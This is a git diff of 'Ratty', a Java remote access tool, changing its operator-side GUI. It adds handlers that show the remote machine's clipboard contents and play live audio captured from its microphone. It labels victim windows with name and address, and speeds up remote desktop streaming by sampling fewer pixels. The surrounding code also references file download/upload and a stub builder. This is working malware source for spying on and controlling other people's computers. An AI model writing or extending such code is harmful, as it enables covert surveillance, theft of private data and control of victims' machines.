diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index be0fcd2..50b43b8 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -94,7 +94,7 @@ public final class FileTree extends AbstractListenerContainer { frame.setPreferredSize(DEFAULT_SIZE); frame.setContentPane(scrollPane); frame.pack(); - frame.setLocationByPlatform(true); + frame.setLocationRelativeTo(null); } private void addMenuItem(final String name, final Icon icon) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 4824e34..f4b3e69 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -126,7 +126,7 @@ public final class RattyGui extends AbstractListenerContainer { frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(SIZE); frame.pack(); - frame.setLocationByPlatform(true); + frame.setLocationRelativeTo(null); frame.setIconImages(GUI_ICONS); frame.setVisible(true); frame.requestFocus(); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 0f8caac..9c7a4b0 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -5,6 +5,7 @@ import java.io.File; import java.util.HashMap; import java.util.Set; +import de.sogomn.engine.fx.Sound; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.builder.StubBuilder; import de.sogomn.rat.packet.AudioPacket; @@ -218,8 +219,6 @@ public final class RattyGuiController extends AbstractRattyController implements packet = new DesktopPacket(true); } else if (command == RattyGui.AUDIO) { packet = createAudioPacket(); - } else if (command == RattyGui.VOICE) { - packet = new VoicePacket(); } else if (command == FileTree.DOWNLOAD) { packet = createDownloadPacket(client); } else if (command == FileTree.UPLOAD) { @@ -234,6 +233,8 @@ public final class RattyGuiController extends AbstractRattyController implements packet = client.displayPanel.getLastMouseEventPacket(); } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastKeyEventPacket(); + } else if (command == RattyGui.VOICE && !client.isStreamingVoice()) { + packet = new VoicePacket(); } return packet; @@ -273,6 +274,24 @@ public final class RattyGuiController extends AbstractRattyController implements client.displayPanel.showFrames(frames, screenWidth, screenHeight); } + private void handleClipboardPacket(final ClipboardPacket packet) { + final String message = packet.getClipbordContent(); + + gui.showMessage(message); + } + + private void handleVoicePacket(final ServerClient client, final VoicePacket packet) { + if (!client.isStreamingVoice()) { + return; + } + + final Sound sound = packet.getSound(); + final VoicePacket request = new VoicePacket(); + + client.connection.addPacket(request); + sound.play(); + } + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); @@ -290,6 +309,14 @@ public final class RattyGuiController extends AbstractRattyController implements final DesktopPacket desktop = (DesktopPacket)packet; handleDesktopPacket(client, desktop); + } else if (clazz == ClipboardPacket.class) { + final ClipboardPacket clipboard = (ClipboardPacket)packet; + + handleClipboardPacket(clipboard); + } else if (clazz == VoicePacket.class) { + final VoicePacket voice = (VoicePacket)packet; + + handleVoicePacket(client, voice); } else { consumed = false; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 854911b..190e173 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -25,6 +25,11 @@ final class ServerClient { this.os = os; this.version = version; + final String title = name + " " + getAddress(); + + displayPanel.setTitle(title); + fileTree.setTitle(title); + loggedIn = true; } diff --git a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java index d95c331..bcaf507 100644 --- a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java +++ b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java @@ -18,6 +18,8 @@ import de.sogomn.engine.util.ImageUtils; public final class FrameEncoder { + private static final int SKIP = 3; + private static final int CELLS_WIDE = 5; private static final int CELLS_HIGH = 5; private static final IFrame[] EMPTY_ARRAY = new IFrame[0]; @@ -89,8 +91,8 @@ public final class FrameEncoder { final int cellEndY = cellY + cellHeight; outer: - for (int xx = cellX; xx < cellEndX && xx < width; xx++) { - for (int yy = cellY; yy < cellEndY && yy < height; yy++) { + for (int xx = cellX; xx < cellEndX && xx < width; xx += SKIP) { + for (int yy = cellY; yy < cellEndY && yy < height; yy += SKIP) { final int previousRgb = previous.getRGB(xx, yy); final int nextRgb = next.getRGB(xx, yy);